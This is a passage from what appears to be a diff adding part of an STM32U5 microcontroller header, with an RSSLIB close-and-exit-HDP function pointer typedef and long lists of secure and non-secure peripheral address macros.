Prototype of RSSLIB Close and exit HDP Function + * @detail This function close the requested hdp area passed in input + * parameter and jump to the reset handler present within the + * Vector table. The function does not return on successful execution. + * @param HdpArea notifies which hdp area to close, can be a combination of + * hdpa area 1 and hdp area 2 + * @param pointer on the vector table containing the reset handler the function + * jumps to. + * @retval RSSLIB_RSS_ERROR on error on input parameter, otherwise does not return. + */ +typedef uint32_t ( *RSSLIB_S_CloseExitHDP_TypeDef)( uint32_t HdpArea, uint32_t VectorTableAddr ); + + +/** + * @brief RSSLib non-secure callable function pointer structure + */ +typedef struct +{ + __IM uint32_t Reserved[8]; +}NSC_pFuncTypeDef; + +/** + * @brief RSSLib secure callable function pointer structure + */ +typedef struct +{ + __IM uint32_t Reserved2[2]; + __IM RSSLIB_S_CloseExitHDP_TypeDef CloseExitHDP; /*!< RSSLIB Bootloader Close and exit HDP Address offset: 0x28 */ +}S_pFuncTypeDef; + +/** + * @brief RSSLib function pointer structure + */ +typedef struct +{ + NSC_pFuncTypeDef NSC; + S_pFuncTypeDef S; +}RSSLIB_pFunc_TypeDef; + +/** @} */ /* End of group STM32U5xx_Peripheral_peripheralAddr */ + + +/* =========================================================================================================================== */ +/* ================ Peripheral declaration ================ */ +/* =========================================================================================================================== */ + + +/** @addtogroup STM32U5xx_Peripheral_declaration + * @{ + */ + +/*!< APB1 Non secure peripherals */ +#define TIM2_NS ((TIM_TypeDef *) TIM2_BASE_NS) +#define TIM3_NS ((TIM_TypeDef *) TIM3_BASE_NS) +#define TIM4_NS ((TIM_TypeDef *) TIM4_BASE_NS) +#define TIM5_NS ((TIM_TypeDef *) TIM5_BASE_NS) +#define TIM6_NS ((TIM_TypeDef *) TIM6_BASE_NS) +#define TIM7_NS ((TIM_TypeDef *) TIM7_BASE_NS) +#define WWDG_NS ((WWDG_TypeDef *) WWDG_BASE_NS) +#define IWDG_NS ((IWDG_TypeDef *) IWDG_BASE_NS) +#define SPI2_NS ((SPI_TypeDef *) SPI2_BASE_NS) +#define USART2_NS ((USART_TypeDef *) USART2_BASE_NS) +#define USART3_NS ((USART_TypeDef *) USART3_BASE_NS) +#define UART4_NS ((USART_TypeDef *) UART4_BASE_NS) +#define UART5_NS ((USART_TypeDef *) UART5_BASE_NS) +#define I2C1_NS ((I2C_TypeDef *) I2C1_BASE_NS) +#define I2C2_NS ((I2C_TypeDef *) I2C2_BASE_NS) +#define CRS_NS ((CRS_TypeDef *) CRS_BASE_NS) +#define USART6_NS ((USART_TypeDef *) USART6_BASE_NS) +#define I2C5_NS ((I2C_TypeDef *) I2C5_BASE_NS) +#define I2C6_NS ((I2C_TypeDef *) I2C6_BASE_NS) +#define I2C4_NS ((I2C_TypeDef *) I2C4_BASE_NS) +#define LPTIM2_NS ((LPTIM_TypeDef *) LPTIM2_BASE_NS) +#define FDCAN1_NS ((FDCAN_GlobalTypeDef *) FDCAN1_BASE_NS) +#define FDCAN_CONFIG_NS ((FDCAN_Config_TypeDef *) FDCAN_CONFIG_BASE_NS) +#define UCPD1_NS ((UCPD_TypeDef *) UCPD1_BASE_NS) + +/*!< APB2 Non secure peripherals */ +#define TIM1_NS ((TIM_TypeDef *) TIM1_BASE_NS) +#define SPI1_NS ((SPI_TypeDef *) SPI1_BASE_NS) +#define TIM8_NS ((TIM_TypeDef *) TIM8_BASE_NS) +#define USART1_NS ((USART_TypeDef *) USART1_BASE_NS) +#define TIM15_NS ((TIM_TypeDef *) TIM15_BASE_NS) +#define TIM16_NS ((TIM_TypeDef *) TIM16_BASE_NS) +#define TIM17_NS ((TIM_TypeDef *) TIM17_BASE_NS) +#define SAI1_NS ((SAI_TypeDef *) SAI1_BASE_NS) +#define SAI1_Block_A_NS ((SAI_Block_TypeDef *)SAI1_Block_A_BASE_NS) +#define SAI1_Block_B_NS ((SAI_Block_TypeDef *)SAI1_Block_B_BASE_NS) +#define SAI2_NS ((SAI_TypeDef *) SAI2_BASE_NS) +#define SAI2_Block_A_NS ((SAI_Block_TypeDef *)SAI2_Block_A_BASE_NS) +#define SAI2_Block_B_NS ((SAI_Block_TypeDef *)SAI2_Block_B_BASE_NS) +#define LTDC_NS ((LTDC_TypeDef *) LTDC_BASE_NS) +#define LTDC_Layer1_NS ((LTDC_Layer_TypeDef *) LTDC_Layer1_BASE_NS) +#define LTDC_Layer2_NS ((LTDC_Layer_TypeDef *) LTDC_Layer2_BASE_NS) +#define GFXTIM_NS ((GFXTIM_TypeDef *) GFXTIM_BASE_NS) + +/*!< APB3 Non secure peripherals */ +#define SYSCFG_NS ((SYSCFG_TypeDef *) SYSCFG_BASE_NS) +#define SPI3_NS ((SPI_TypeDef *) SPI3_BASE_NS) +#define LPUART1_NS ((USART_TypeDef *) LPUART1_BASE_NS) +#define I2C3_NS ((I2C_TypeDef *) I2C3_BASE_NS) +#define LPTIM1_NS ((LPTIM_TypeDef *) LPTIM1_BASE_NS) +#define LPTIM3_NS ((LPTIM_TypeDef *) LPTIM3_BASE_NS) +#define LPTIM4_NS ((LPTIM_TypeDef *) LPTIM4_BASE_NS) +#define OPAMP_NS ((OPAMP_TypeDef *) OPAMP_BASE_NS) +#define OPAMP1_NS ((OPAMP_TypeDef *) OPAMP1_BASE_NS) +#define OPAMP2_NS ((OPAMP_TypeDef *) OPAMP2_BASE_NS) +#define OPAMP12_COMMON_NS ((OPAMP_Common_TypeDef *) OPAMP1_BASE_NS) +#define COMP12_NS ((COMP_TypeDef *) COMP12_BASE_NS) +#define COMP1_NS ((COMP_TypeDef *) COMP1_BASE_NS) +#define COMP2_NS ((COMP_TypeDef *) COMP2_BASE_NS) +#define COMP12_COMMON_NS ((COMP_Common_TypeDef *) COMP1_BASE_NS) +#define VREFBUF_NS ((VREFBUF_TypeDef *) VREFBUF_BASE_NS) +#define RTC_NS ((RTC_TypeDef *) RTC_BASE_NS) +#define TAMP_NS ((TAMP_TypeDef *) TAMP_BASE_NS) + +/*!< AHB1 Non secure peripherals */ +#define GPDMA1_NS ((DMA_TypeDef *) GPDMA1_BASE_NS) +#define GPDMA1_Channel0_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel0_BASE_NS) +#define GPDMA1_Channel1_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel1_BASE_NS) +#define GPDMA1_Channel2_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel2_BASE_NS) +#define GPDMA1_Channel3_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel3_BASE_NS) +#define GPDMA1_Channel4_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel4_BASE_NS) +#define GPDMA1_Channel5_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel5_BASE_NS) +#define GPDMA1_Channel6_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel6_BASE_NS) +#define GPDMA1_Channel7_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel7_BASE_NS) +#define GPDMA1_Channel8_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel8_BASE_NS) +#define GPDMA1_Channel9_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel9_BASE_NS) +#define GPDMA1_Channel10_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel10_BASE_NS) +#define GPDMA1_Channel11_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel11_BASE_NS) +#define GPDMA1_Channel12_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel12_BASE_NS) +#define GPDMA1_Channel13_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel13_BASE_NS) +#define GPDMA1_Channel14_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel14_BASE_NS) +#define GPDMA1_Channel15_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel15_BASE_NS) +#define CORDIC_NS ((CORDIC_TypeDef *) CORDIC_BASE_NS) +#define FMAC_NS ((FMAC_TypeDef *) FMAC_BASE_NS) +#define FLASH_NS ((FLASH_TypeDef *) FLASH_R_BASE_NS) +#define CRC_NS ((CRC_TypeDef *) CRC_BASE_NS) +#define TSC_NS ((TSC_TypeDef *) TSC_BASE_NS) +#define MDF1_NS ((MDF_TypeDef *) MDF1_BASE_NS) +#define MDF1_Filter0_NS ((MDF_Filter_TypeDef*) MDF1_Filter0_BASE_NS) +#define MDF1_Filter1_NS ((MDF_Filter_TypeDef*) MDF1_Filter1_BASE_NS) +#define MDF1_Filter2_NS ((MDF_Filter_TypeDef*) MDF1_Filter2_BASE_NS) +#define MDF1_Filter3_NS ((MDF_Filter_TypeDef*) MDF1_Filter3_BASE_NS) +#define MDF1_Filter4_NS ((MDF_Filter_TypeDef*) MDF1_Filter4_BASE_NS) +#define MDF1_Filter5_NS ((MDF_Filter_TypeDef*) MDF1_Filter5_BASE_NS) +#define RAMCFG_SRAM1_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM1_BASE_NS) +#define RAMCFG_SRAM2_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM2_BASE_NS) +#define RAMCFG_SRAM3_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM3_BASE_NS) +#define RAMCFG_SRAM4_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM4_BASE_NS) +#define RAMCFG_SRAM5_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM5_BASE_NS) +#define RAMCFG_SRAM6_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM6_BASE_NS) +#define JPEG_NS ((JPEG_TypeDef *) JPEG_BASE_NS) +#define RAMCFG_BKPRAM_NS ((RAMCFG_TypeDef *) RAMCFG_BKPRAM_BASE_NS) +#define DMA2D_NS ((DMA2D_TypeDef *) DMA2D_BASE_NS) +#define ICACHE_NS ((ICACHE_TypeDef *) ICACHE_BASE_NS) +#define DCACHE1_NS ((DCACHE_TypeDef *) DCACHE1_BASE_NS) +#define DCACHE2_NS ((DCACHE_TypeDef *) DCACHE2_BASE_NS) +#define GTZC_TZSC1_NS ((GTZC_TZSC_TypeDef *) GTZC_TZSC1_BASE_NS) +#define GTZC_TZIC1_NS ((GTZC_TZIC_TypeDef *) GTZC_TZIC1_BASE_NS) +#define GTZC_MPCBB1_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB1_BASE_NS) +#define GTZC_MPCBB2_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB2_BASE_NS) +#define GTZC_MPCBB3_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB3_BASE_NS) +#define GTZC_MPCBB5_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB5_BASE_NS) +#define GTZC_MPCBB6_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB6_BASE_NS) +#define GFXMMU_NS ((GFXMMU_TypeDef *) GFXMMU_BASE_NS) + +/*!< AHB2 Non secure peripherals */ +#define GPIOA_NS ((GPIO_TypeDef *) GPIOA_BASE_NS) +#define GPIOB_NS ((GPIO_TypeDef *) GPIOB_BASE_NS) +#define GPIOC_NS ((GPIO_TypeDef *) GPIOC_BASE_NS) +#define GPIOD_NS ((GPIO_TypeDef *) GPIOD_BASE_NS) +#define GPIOE_NS ((GPIO_TypeDef *) GPIOE_BASE_NS) +#define GPIOF_NS ((GPIO_TypeDef *) GPIOF_BASE_NS) +#define GPIOG_NS ((GPIO_TypeDef *) GPIOG_BASE_NS) +#define GPIOH_NS ((GPIO_TypeDef *) GPIOH_BASE_NS) +#define GPIOI_NS ((GPIO_TypeDef *) GPIOI_BASE_NS) +#define GPIOJ_NS ((GPIO_TypeDef *) GPIOJ_BASE_NS) +#define ADC1_NS ((ADC_TypeDef *) ADC1_BASE_NS) +#define ADC2_NS ((ADC_TypeDef *) ADC2_BASE_NS) +#define ADC12_COMMON_NS ((ADC_Common_TypeDef *) ADC12_COMMON_BASE_NS) +#define DCMI_NS ((DCMI_TypeDef *) DCMI_BASE_NS) +#define PSSI_NS ((PSSI_TypeDef *) PSSI_BASE_NS) +#define USB_OTG_HS_NS ((USB_OTG_GlobalTypeDef *) USB_OTG_HS_BASE_NS) +#define AES_NS ((AES_TypeDef *) AES_BASE_NS) +#define HASH_NS ((HASH_TypeDef *) HASH_BASE_NS) +#define HASH_DIGEST_NS ((HASH_DIGEST_TypeDef *) HASH_DIGEST_BASE_NS) +#define RNG_NS ((RNG_TypeDef *) RNG_BASE_NS) +#define SAES_NS ((AES_TypeDef *) SAES_BASE_NS) +#define PKA_NS ((PKA_TypeDef *) PKA_BASE_NS) +#define OTFDEC1_NS ((OTFDEC_TypeDef *) OTFDEC1_BASE_NS) +#define OTFDEC1_REGION1_NS ((OTFDEC_Region_TypeDef *) OTFDEC1_REGION1_BASE_NS) +#define OTFDEC1_REGION2_NS ((OTFDEC_Region_TypeDef *) OTFDEC1_REGION2_BASE_NS) +#define OTFDEC1_REGION3_NS ((OTFDEC_Region_TypeDef *) OTFDEC1_REGION3_BASE_NS) +#define OTFDEC1_REGION4_NS ((OTFDEC_Region_TypeDef *) OTFDEC1_REGION4_BASE_NS) +#define OTFDEC2_NS ((OTFDEC_TypeDef *) OTFDEC2_BASE_NS) +#define OTFDEC2_REGION1_NS ((OTFDEC_Region_TypeDef *) OTFDEC2_REGION1_BASE_NS) +#define OTFDEC2_REGION2_NS ((OTFDEC_Region_TypeDef *) OTFDEC2_REGION2_BASE_NS) +#define OTFDEC2_REGION3_NS ((OTFDEC_Region_TypeDef *) OTFDEC2_REGION3_BASE_NS) +#define OTFDEC2_REGION4_NS ((OTFDEC_Region_TypeDef *) OTFDEC2_REGION4_BASE_NS) +#define SDMMC1_NS ((SDMMC_TypeDef *) SDMMC1_BASE_NS) +#define SDMMC2_NS ((SDMMC_TypeDef *) SDMMC2_BASE_NS) +#define DLYB_SDMMC1_NS ((DLYB_TypeDef *) DLYB_SDMMC1_BASE_NS) +#define DLYB_SDMMC2_NS ((DLYB_TypeDef *) DLYB_SDMMC2_BASE_NS) +#define DLYB_OCTOSPI1_NS ((DLYB_TypeDef *) DLYB_OCTOSPI1_BASE_NS) +#define DLYB_OCTOSPI2_NS ((DLYB_TypeDef *) DLYB_OCTOSPI2_BASE_NS) +#define FMC_Bank1_R_NS ((FMC_Bank1_TypeDef *) FMC_Bank1_R_BASE_NS) +#define FMC_Bank1E_R_NS ((FMC_Bank1E_TypeDef *) FMC_Bank1E_R_BASE_NS) +#define FMC_Bank3_R_NS ((FMC_Bank3_TypeDef *) FMC_Bank3_R_BASE_NS) +#define OCTOSPIM_NS ((OCTOSPIM_TypeDef *) OCTOSPIM_R_BASE_NS) +#define OCTOSPI1_NS ((OCTOSPI_TypeDef *) OCTOSPI1_R_BASE_NS) +#define OCTOSPI2_NS ((OCTOSPI_TypeDef *) OCTOSPI2_R_BASE_NS) +#define HSPI1_NS ((HSPI_TypeDef *) HSPI1_R_BASE_NS) + +/*!< AHB3 Non secure peripherals */ +#define LPGPIO1_NS ((GPIO_TypeDef *) LPGPIO1_BASE_NS) +#define PWR_NS ((PWR_TypeDef *) PWR_BASE_NS) +#define RCC_NS ((RCC_TypeDef *) RCC_BASE_NS) +#define ADC4_NS ((ADC_TypeDef *) ADC4_BASE_NS) +#define ADC4_COMMON_NS ((ADC_Common_TypeDef *) ADC4_COMMON_BASE_NS) +#define DAC1_NS ((DAC_TypeDef *) DAC1_BASE_NS) +#define EXTI_NS ((EXTI_TypeDef *) EXTI_BASE_NS) +#define GTZC_TZSC2_NS ((GTZC_TZSC_TypeDef *) GTZC_TZSC2_BASE_NS) +#define GTZC_TZIC2_NS ((GTZC_TZIC_TypeDef *) GTZC_TZIC2_BASE_NS) +#define GTZC_MPCBB4_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB4_BASE_NS) +#define ADF1_NS ((MDF_TypeDef *) ADF1_BASE_NS) +#define ADF1_Filter0_NS ((MDF_Filter_TypeDef*) ADF1_Filter0_BASE_NS) +#define LPDMA1_NS ((DMA_TypeDef *) LPDMA1_BASE_NS) +#define LPDMA1_Channel0_NS ((DMA_Channel_TypeDef *) LPDMA1_Channel0_BASE_NS) +#define LPDMA1_Channel1_NS ((DMA_Channel_TypeDef *) LPDMA1_Channel1_BASE_NS) +#define LPDMA1_Channel2_NS ((DMA_Channel_TypeDef *) LPDMA1_Channel2_BASE_NS) +#define LPDMA1_Channel3_NS ((DMA_Channel_TypeDef *) LPDMA1_Channel3_BASE_NS) + +/*!< APB1 Secure peripherals */ +#define TIM2_S ((TIM_TypeDef *) TIM2_BASE_S) +#define TIM3_S ((TIM_TypeDef *) TIM3_BASE_S) +#define TIM4_S ((TIM_TypeDef *) TIM4_BASE_S) +#define TIM5_S ((TIM_TypeDef *) TIM5_BASE_S) +#define TIM6_S ((TIM_TypeDef *) TIM6_BASE_S) +#define TIM7_S ((TIM_TypeDef *) TIM7_BASE_S) +#define WWDG_S ((WWDG_TypeDef *) WWDG_BASE_S) +#define IWDG_S ((IWDG_TypeDef *) IWDG_BASE_S) +#define SPI2_S ((SPI_TypeDef *) SPI2_BASE_S) +#define USART2_S ((USART_TypeDef *) USART2_BASE_S) +#define USART3_S ((USART_TypeDef *) USART3_BASE_S) +#define UART4_S ((USART_TypeDef *) UART4_BASE_S) +#define UART5_S ((USART_TypeDef *) UART5_BASE_S) +#define I2C1_S ((I2C_TypeDef *) I2C1_BASE_S) +#define I2C2_S ((I2C_TypeDef *) I2C2_BASE_S) +#define CRS_S ((CRS_TypeDef *) CRS_BASE_S) +#define USART6_S ((USART_TypeDef *) USART6_BASE_S) +#define I2C5_S ((I2C_TypeDef *) I2C5_BASE_S) +#define I2C6_S ((I2C_TypeDef *) I2C6_BASE_S) +#define I2C4_S ((I2C_TypeDef *) I2C4_BASE_S) +#define LPTIM2_S ((LPTIM_TypeDef *) LPTIM2_BASE_S) +#define FDCAN1_S ((FDCAN_GlobalTypeDef *) FDCAN1_BASE_S) +#define FDCAN_CONFIG_S ((FDCAN_Config_TypeDef *) FDCAN_CONFIG_BASE_S) +#define UCPD1_S ((UCPD_TypeDef *) UCPD1_BASE_S) + +/*!< APB2 Secure peripherals */ +#define TIM1_S ((TIM_TypeDef *) TIM1_BASE_S) +#define SPI1_S ((SPI_TypeDef *) SPI1_BASE_S) +#define TIM8_S ((TIM_TypeDef *) TIM8_BASE_S) +#define USART1_S ((USART_TypeDef *) USART1_BASE_S) +#define TIM15_S ((TIM_TypeDef *) TIM15_BASE_S) +#define TIM16_S ((TIM_TypeDef *) TIM16_BASE_S) +#define TIM17_S ((TIM_TypeDef *) TIM17_BASE_S) +#define SAI1_S ((SAI_TypeDef *) SAI1_BASE_S) +#define SAI1_Block_A_S ((SAI_Block_TypeDef *)SAI1_Block_A_BASE_S) +#define SAI1_Block_B_S ((SAI_Block_TypeDef *)SAI1_Block_B_BASE_S) +#define SAI2_S ((SAI_TypeDef *) SAI2_BASE_S) +#define SAI2_Block_A_S ((SAI_Block_TypeDef *)SAI2_Block_A_BASE_S) +#define SAI2_Block_B_S ((SAI_Block_TypeDef *)SAI2_Block_B_BASE_S) +#define LTDC_S ((LTDC_TypeDef *) LTDC_BASE_S) +#define LTDC_Layer1_S ((LTDC_Layer_TypeDef *) LTDC_Layer1_BASE_S) +#define LTDC_Layer2_S ((LTDC_Layer_TypeDef *) LTDC_Layer2_BASE_S) +#define GFXTIM_S ((GFXTIM_TypeDef *) GFXTIM_BASE_S) + +/*!< APB3 secure peripherals */ +#define SYSCFG_S ((SYSCFG_TypeDef *) SYSCFG_BASE_S) +#define SPI3_S ((SPI_TypeDef *) SPI3_BASE_S) +#define LPUART1_S ((USART_TypeDef *) LPUART1_BASE_S) +#define I2C3_S ((I2C_TypeDef *) I2C3_BASE_S) +#define LPTIM1_S ((LPTIM_TypeDef *) LPTIM1_BASE_S) +#define LPTIM3_S ((LPTIM_TypeDef *) LPTIM3_BASE_S) +#define LPTIM4_S ((LPTIM_TypeDef *) LPTIM4_BASE_S) +#define OPAMP_S ((OPAMP_TypeDef *) OPAMP_BASE_S) +#define OPAMP1_S ((OPAMP_TypeDef *) OPAMP1_BASE_S) +#define OPAMP2_S ((OPAMP_TypeDef *) OPAMP2_BASE_S) +#define OPAMP12_COMMON_S ((OPAMP_Common_TypeDef *) OPAMP1_BASE_S) +#define COMP12_S ((COMP_TypeDef *) COMP12_BASE_S) +#define COMP1_S ((COMP_TypeDef *) COMP1_BASE_S) +#define COMP2_S ((COMP_TypeDef *) COMP2_BASE_S) +#define COMP12_COMMON_S ((COMP_Common_TypeDef *) COMP1_BASE_S) +#define VREFBUF_S ((VREFBUF_TypeDef *) VREFBUF_BASE_S) +#define RTC_S ((RTC_TypeDef *) RTC_BASE_S) +#define TAMP_S ((TAMP_TypeDef *) TAMP_BASE_S) + +/*!< AHB1 Secure peripherals */ +#define GPDMA1_S ((DMA_TypeDef *) GPDMA1_BASE_S) +#define GPDMA1_Channel0_S ((DMA_Channel_TypeDef *) GPDMA1_Channel0_BASE_S) +#define GPDMA1_Channel1_S ((DMA_Channel_TypeDef *) GPDMA1_Channel1_BASE_S) +#define GPDMA1_Channel2_S ((DMA_Channel_TypeDef *) GPDMA1_Channel2_BASE_S) +#define GPDMA1_Channel3_S ((DMA_Channel_TypeDef *) GPDMA1_Channel3_BASE_S) +#define GPDMA1_Channel4_S ((DMA_Channel_TypeDef *) GPDMA1_Channel4_BASE_S) +#define GPDMA1_Channel5_S ((DMA_Channel_TypeDef *) GPDMA1_Channel5_BASE_S) +#define GPDMA1_Channel6_S ((DMA_Channel_TypeDef *) GPDMA1_Channel6_BASE_S) +#define GPDMA1_Channel7_S ((DMA_Channel_TypeDef *) GPDMA1_Channel7_BASE_S) +#define GPDMA1_Channel8_S ((DMA_Channel_TypeDef *) GPDMA1_Channel8_BASE_S) +#define GPDMA1_Channel9_S ((DMA_Channel_TypeDef *) GPDMA1_Channel9_BASE_S) +#define GPDMA1_Channel10_S ((DMA_Channel_TypeDef *) GPDMA1_Channel10_BASE_S) +#define GPDMA1_Channel11_S ((DMA_Channel_TypeDef *) GPDMA1_Channel11_BASE_S) +#define GPDMA1_Channel12_S ((DMA_Channel_TypeDef *) GPDMA1_Channel12_BASE_S) +#define GPDMA1_Channel13_S ((DMA_Channel_TypeDef *) GPDMA1_Channel13_BASE_S) +#define GPDMA1_Channel14_S ((DMA_Channel_TypeDef *) GPDMA1_Channel14_BASE_S) +#define GPDMA1_Channel15_S ((DMA_Channel_TypeDef *) GPDMA1_Channel15_BASE_S) +#define CORDIC_S ((CORDIC_TypeDef *) CORDIC_BASE_S) +#define FMAC_S ((FMAC_TypeDef *) FMAC_BASE_S) +#define FLASH_S ((FLASH_TypeDef *) FLASH_R_BASE_S) +#define CRC_S ((CRC_TypeDef *) CRC_BASE_S) +#define TSC_S ((TSC_TypeDef *) TSC_BASE_S) +#define MDF1_S ((MDF_TypeDef *) MDF1_BASE_S) +#define MDF1_Filter0_S ((MDF_Filter_TypeDef*) MDF1_Filter0_BASE_S) +#define MDF1_Filter1_S ((MDF_Filter_TypeDef*) MDF1_Filter1_BASE_S) +#define MDF1_Filter2_S ((MDF_Filter_TypeDef*) MDF1_Filter2_BASE_S) +#define MDF1_Filter3_S ((MDF_Filter_TypeDef*) MDF1_Filter3_BASE_S) +#define MDF1_Filter4_S ((MDF_Filter_TypeDef*) MDF1_Filter4_BASE_S) +#define MDF1_Filter5_S ((MDF_Filter_TypeDef*) MDF1_Filter5_BASE_S) +#define RAMCFG_SRAM1_S ((RAMCFG_TypeDef *) RAMCFG_SRAM1_BASE_S) +#define RAMCFG_SRAM2_S ((RAMCFG_TypeDef *) RAMCFG_SRAM2_BASE_S) +#define RAMCFG_SRAM3_S ((RAMCFG_TypeDef *) RAMCFG_SRAM3_BASE_S) +#define RAMCFG_SRAM4_S ((RAMCFG_TypeDef *) RAMCFG_SRAM4_BASE_S) +#define RAMCFG_SRAM5_S ((RAMCFG_TypeDef *) RAMCFG_SRAM5_BASE_S) +#define RAMCFG_SRAM6_S ((RAMCFG_TypeDef *) RAMCFG_SRAM6_BASE_S) +#define JPEG_S ((JPEG_TypeDef *) JPEG_BASE_S) +#define RAMCFG_BKPRAM_S ((RAMCFG_TypeDef *) RAMCFG_BKPRAM_BASE_S) +#define DMA2D_S ((DMA2D_TypeDef *) DMA2D_BASE_S) +#define ICACHE_S ((ICACHE_TypeDef *) ICACHE_BASE_S) +#define DCACHE1_S ((DCACHE_TypeDef *) DCACHE1_BASE_S) +#define DCACHE2_S ((DCACHE_TypeDef *) DCACHE2_BASE_S) +#define GTZC_TZSC1_S ((GTZC_TZSC_TypeDef *) GTZC_TZSC1_BASE_S) +#define GTZC_TZIC1_S ((GTZC_TZIC_TypeDef *) GTZC_TZIC1_BASE_S) +#define GTZC_MPCBB1_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB1_BASE_S) +#define GTZC_MPCBB2_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB2_BASE_S) +#define GTZC_MPCBB3_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB3_BASE_S) +#define GTZC_MPCBB5_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB5_BASE_S) +#define GTZC_MPCBB6_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB6_BASE_S) +#define GFXMMU_S ((GFXMMU_TypeDef *) GFXMMU_BASE_S) + +/*!< AHB2 Secure peripherals */ +#define GPIOA_S ((GPIO_TypeDef *) GPIOA_BASE_S) +#define GPIOB_S ((GPIO_TypeDef *) GPIOB_BASE_S) +#define GPIOC_S ((GPIO_TypeDef *) GPIOC_BASE_S) +#define GPIOD_S ((GPIO_TypeDef *) GPIOD_BASE_S) +#define GPIOE_S ((GPIO_TypeDef *) GPIOE_BASE_S) +#define GPIOF_S ((GPIO_TypeDef *) GPIOF_BASE_S) +#define GPIOG_S ((GPIO_TypeDef *) GPIOG_BASE_S) +#define GPIOH_S ((GPIO_TypeDef *) GPIOH_BASE_S) +#define GPIOI_S ((GPIO_TypeDef *) GPIOI_BASE_S) +#define GPIOJ_S ((GPIO_TypeDef *) GPIOJ_BASE_S) +#define ADC1_S ((ADC_TypeDef *) ADC1_BASE_S) +#define ADC2_S ((ADC_TypeDef *) ADC2_BASE_S) +#define ADC12_COMMON_S ((ADC_Common_TypeDef *) ADC12_COMMON_BASE_S) +#define DCMI_S ((DCMI_TypeDef *) DCMI_BASE_S) +#define PSSI_S ((PSSI_TypeDef *) PSSI_BASE_S) +#define USB_OTG_HS_S ((USB_OTG_GlobalTypeDef *) USB_OTG_HS_BASE_S) +#define AES_S ((AES_TypeDef *) AES_BASE_S) +#define HASH_S ((HASH_TypeDef *) HASH_BASE_S) +#define HASH_DIGEST_S ((HASH_DIGEST_TypeDef *) HASH_DIGEST_BASE_S) +#define RNG_S ((RNG_TypeDef *) RNG_BASE_S) +#define SAES_S ((AES_TypeDef *) SAES_BASE_S) +#define PKA_S ((PKA_TypeDef *) PKA_BASE_S) +#define OTFDEC1_S ((OTFDEC_TypeDef *) OTFDEC1_BASE_S) +#define OTFDEC1_REGION1_S ((OTFDEC_Region_TypeDef *) OTFDEC1_REGION1_BASE_S) +#define OTFDEC1_REGION2_S ((OTFDEC_Region_TypeDef *) OTFDEC1_REGION2_BASE_S) +#define OTFDEC1_REGION3_S ((OTFDEC_Region_TypeDef *) OTFDEC1_REGION3_BASE_S) +#define OTFDEC1_REGION4_S ((OTFDEC_Region_TypeDef *) OTFDEC1_REGION4_BASE_S) +#define OTFDEC2_S ((OTFDEC_TypeDef *) OTFDEC2_BASE_S) +#define OTFDEC2_REGION1_S ((OTFDEC_Region_TypeDef *) OTFDEC2_REGION1_BASE_S) +#define OTFDEC2_REGION2_S ((OTFDEC_Region_TypeDef *) OTFDEC2_REGION2_BASE_S) +#define OTFDEC2_REGION3_S ((OTFDEC_Region_TypeDef *) OTFDEC2_REGION3_BASE_S) +#define OTFDEC2_REGION4_S ((OTFDEC_Region_TypeDef *) OTFDEC2_REGION4_BASE_S) +#define SDMMC1_S ((SDMMC_TypeDef *) SDMMC1_BASE_S) +#define SDMMC2_S ((SDMMC_TypeDef *) SDMMC2_BASE_S) +#define DLYB_SDMMC1_S ((DLYB_TypeDef *) DLYB_SDMMC1_BASE_S) +#define DLYB_SDMMC2_S ((DLYB_TypeDef *) DLYB_SDMMC2_BASE_S) +#define DLYB_OCTOSPI1_S ((DLYB_TypeDef *) DLYB_OCTOSPI1_BASE_S) +#define DLYB_OCTOSPI2_S ((DLYB_TypeDef *) DLYB_OCTOSPI2_BASE_S) +#define FMC_Bank1_R_S ((FMC_Bank1_TypeDef *) FMC_Bank1_R_BASE_S) +#define FMC_Bank1E_R_S ((FMC_Bank1E_TypeDef *) FMC_Bank1E_R_BASE_S) +#define FMC_Bank3_R_S ((FMC_Bank3_TypeDef *) FMC_Bank3_R_BASE_S) +#define OCTOSPIM_S ((OCTOSPIM_TypeDef *) OCTOSPIM_R_BASE_S) +#define OCTOSPI1_S ((OCTOSPI_TypeDef *) OCTOSPI1_R_BASE_S) +#define OCTOSPI2_S ((OCTOSPI_TypeDef *) OCTOSPI2_R_BASE_S) +#define HSPI1_S ((HSPI_TypeDef *) HSPI1_R_BASE_S) + +/*!< AHB3 Secure peripherals */ +#define LPGPIO1_S ((GPIO_TypeDef *) LPGPIO1_BASE_S) +#define PWR_S ((PWR_TypeDef *) PWR_BASE_S) +#define RCC_S ((RCC_TypeDef *) RCC_BASE_S) +#define ADC4_S ((ADC_TypeDef *) ADC4_BASE_S) +#define ADC4_COMMON_S ((ADC_Common_TypeDef *) ADC4_COMMON_BASE_S) +#define DAC1_S ((DAC_TypeDef *) DAC1_BASE_S) +#define EXTI_S ((EXTI_TypeDef *) EXTI_BASE_S) +#define GTZC_TZSC2_S ((GTZC_TZSC_TypeDef *) GTZC_TZSC2_BASE_S) +#define GTZC_TZIC2_S 